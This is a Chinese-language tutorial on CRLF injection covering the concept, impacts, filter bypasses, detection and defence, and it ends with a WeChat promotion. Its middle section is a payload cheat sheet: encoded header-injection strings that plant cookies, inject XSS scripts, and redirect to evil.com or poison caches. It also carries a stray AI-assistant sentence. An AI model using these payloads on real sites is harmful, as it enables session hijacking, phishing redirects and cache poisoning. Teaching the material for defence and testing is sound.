一、CRLF注入基础概念
1.1 什么是CRLF
CRLF(Carriage Return Line Feed)是一个由两个特殊字符组成的字符序列:
- CR(回车符 \r,ASCII 13):将光标移动到当前行的开始位置
- LF(换行符 \n,ASCII 10):将光标移动到下一行
这两个字符在HTTP协议中具有特殊的意义,它们共同构成了HTTP头部字段之间的分隔符。
1.2 CRLF注入的本质
CRLF注入是一种Web安全漏洞,其核心原理是攻击者通过向应用程序注入意外的回车符(CR)和换行符(LF),从而操纵HTTP响应的结构。这种漏洞通常发生在应用程序未能正确处理用户输入的情况下,特别是当这些输入被用于构造HTTP响应头时。
二、CRLF注入的危害分析
2.1 主要危害类型
2.1.1 会话固定攻击
会话固定是CRLF注入最危险的利用方式之一。通过注入额外的Set-Cookie头,攻击者可以:
- 强制设置受害者的会话标识符
- 植入恶意Cookie
- 覆盖或修改现有的会话信息
例如,一个正常的HTTP响应头可能是:
HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: sessionid=abc123
而通过CRLF注入,攻击者可以注入额外的Cookie:
HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: sessionid=value
Set-Cookie: admin=true
2.1.2 跨站脚本攻击(XSS)
CRLF注入可以通过以下方式促成XSS攻击:
- 禁用XSS保护机制
- 注入新的响应体
- 修改内容类型
- 插入恶意JavaScript代码
具体实现方式:
- 通过注入禁用X-XSS-Protection头
- 重写响应体内容
- 插入HTML/JavaScript payload
2.1.3 开放重定向
攻击者可以通过注入Location头来实现强制重定向:
注入内容:%0d%0aLocation: http://malicious-site.com
这种攻击可能导致:
- 用户被重定向到钓鱼网站
- 绕过同源策略限制
- 实施进一步的社会工程学攻击
2.2 二次危害效应
2.2.1 缓存中毒
当CRLF注入的响应被缓存服务器缓存时,可能导致:
- 错误内容被存储在缓存中
- 影响多个用户
- 持续性的安全威胁
2.2.2 响应拆分
HTTP响应拆分可能导致:
- 信息泄露
- 响应混淆
- 安全机制绕过
三、CRLF注入及绕过技巧
3.1 常见防护措施
3.1.1 输入验证
- 严格过滤CR和LF字符
- 验证HTTP头部字段值
- 实施白名单验证
- 使用正则表达式过滤特殊字符
- 实现请求参数规范化处理
- 建立输入长度限制
3.1.2 编码控制
- 确保输出正确编码
- 使用适当的转义机制
- 实施严格的字符集控制
- 统一字符编码标准
- 使用安全的编码库进行处理
- 对特殊字符进行HTML实体编码
3.2 绕过技术
3.2.1 UTF-8字符编码绕过
根据RFC 7230规范,HTTP头部字段值通常仅使用US-ASCII字符集的子集。然而,某些浏览器(如Firefox)在处理cookie时会对超出范围的字符进行特殊处理。以下是一些可用于绕过的UTF-8字符:
UTF-8字符 | 十六进制 | Unicode | 转换结果 |
---|---|---|---|
嘊 | %E5%98%8A | \u560a | %0A (\n) |
嘍 | %E5%98%8D | \u560d | %0D (\r) |
嘾 | %E5%98%BE | \u563e | %3E (>) |
嘼 | %E5%98%BC | \u563c | %3C (<) |
3.2.2 多层编码绕过
-
URL编码技巧:
- 双重URL编码:对特殊字符进行两次URL编码
- 混合编码:组合使用不同编码方式
- 字符集编码:利用不同字符集的编码特性
-
协议级别绕过:
- HTTP/2请求拆分
- 利用传输层协议特性
- 利用内容编码机制
-
浏览器解析差异:
- 利用不同浏览器的解析行为
- 利用浏览器的容错机制
- 利用字符集推断机制
3.2.3 高级绕过技术
- 分块传输编码绕过:
Transfer-Encoding: chunked
Content-Length: 5
0\r\n
\r\n
GET /admin HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
- 压缩编码绕过:
- 利用gzip压缩中的特殊字符
- 利用压缩算法的特性
- 结合其他编码方式
- 自定义协议头绕过:
X-Custom-Header: value%0d%0aSet-Cookie: malicious=true
让我帮你在第三节中添加一个新的小节,专门介绍各种CRLF注入的攻击载荷(Payloads):
3.3 CRLF注入攻击载荷
3.3.1 基础注入技术
- 标准换行符注入:
/%0d%0aSet-Cookie:crlf=injection
/%0aSet-Cookie:crlf=injection
/%0dSet-Cookie:crlf=injection
- 双重编码注入:
/%25%30%61Set-Cookie:crlf=injection
/%25%30aSet-Cookie:crlf=injection
/%250aSet-Cookie:crlf=injection
/%25250aSet-Cookie:crlf=injection
- 目录遍历结合注入:
/%2e%2e%2f%0d%0aSet-Cookie:crlf=injection
/%2f%2e%2e%0d%0aSet-Cookie:crlf=injection
/%2F..%0d%0aSet-Cookie:crlf=injection
3.3.2 高级注入技术
- 特殊字符组合:
/%23%0aSet-Cookie:crlf=injection
/%23%0d%0aSet-Cookie:crlf=injection
/%23%0dSet-Cookie:crlf=injection
- Unicode编码注入:
/%u000aSet-Cookie:crlf=injection
- 问号参数注入:
/%3f%0d%0aSet-Cookie:crlf=injection
/%3f%0dSet-Cookie:crlf=injection
3.3.3 复合攻击载荷
- XSS结合CRLF:
/%0d%0aContent-Type:text/html%0d%0a%0d%0a<script>alert('XSS')</script>
- 响应头注入:
/%0d%0aX-XSS-Protection:0%0d%0aContent-Type:text/html%0d%0a%0d%0a<script>alert('XSS')</script>
- 多重头部注入:
/%0d%0aSet-Cookie:session=123%0d%0aLocation:https://evil.com%0d%0a
3.3.4 上下文相关攻击
- 重定向结合注入:
/redirect?url=/%0d%0aLocation:https://evil.com%0d%0a
- 缓存投毒:
/%0d%0aContent-Length:0%0d%0a%0d%0aHTTP/1.1 200 OK%0d%0aContent-Type:text/html%0d%0aContent-Length:35%0d%0a%0d%0a<script>alert(document.domain)</script>
- 头部覆盖:
/%0d%0aX-Original-URL:%20javascript:alert(document.domain)
3.3.5 绕过技巧组合
- 多层编码组合:
/%25%25%30%61Set-Cookie:crlf=injection
/%25%25%30aSet-Cookie:crlf=injection
- 路径遍历结合编码:
/%2e%2e%2f%25%30%61Set-Cookie:crlf=injection
/%2f%2e%2e%25%30aSet-Cookie:crlf=injection
- 特殊字符混合编码:
/%23%25%30%61Set-Cookie:crlf=injection
/%3f%25%30aSet-Cookie:crlf=injection
四、CRLF注入的检测与防御
4.1 检测方法
4.1.1 自动化扫描
- 使用专业的Web安全扫描器
- 实施持续性安全测试
- 编写自定义检测脚本
4.1.2 手动测试
- 测试所有用户输入点
- 验证HTTP响应处理
- 检查头部注入可能性
4.2 防御策略
4.2.1 代码层面防御
-
输入验证:
- 实施严格的输入验证
- 使用安全的API
- 实现规范化处理
-
输出编码:
- 对所有输出进行适当编码
- 使用安全的编码库
- 实施内容安全策略(CSP)
4.2.2 架构层面防御
-
Web服务器配置:
- 正确配置HTTP头部
- 实施适当的安全头
- 使用现代Web服务器特性
-
WAF防护:
- 配置Web应用防火墙规则
- 实施请求过滤
- 监控异常请求
4.2.3 运维层面防御
-
监控与日志:
- 实施全面的日志记录
- 建立异常检测机制
- 定期安全审计
-
更新与补丁:
- 及时更新系统组件
- 修补已知漏洞
- 定期安全评估
v信搜索【赛博小生】,获取最新文章分享!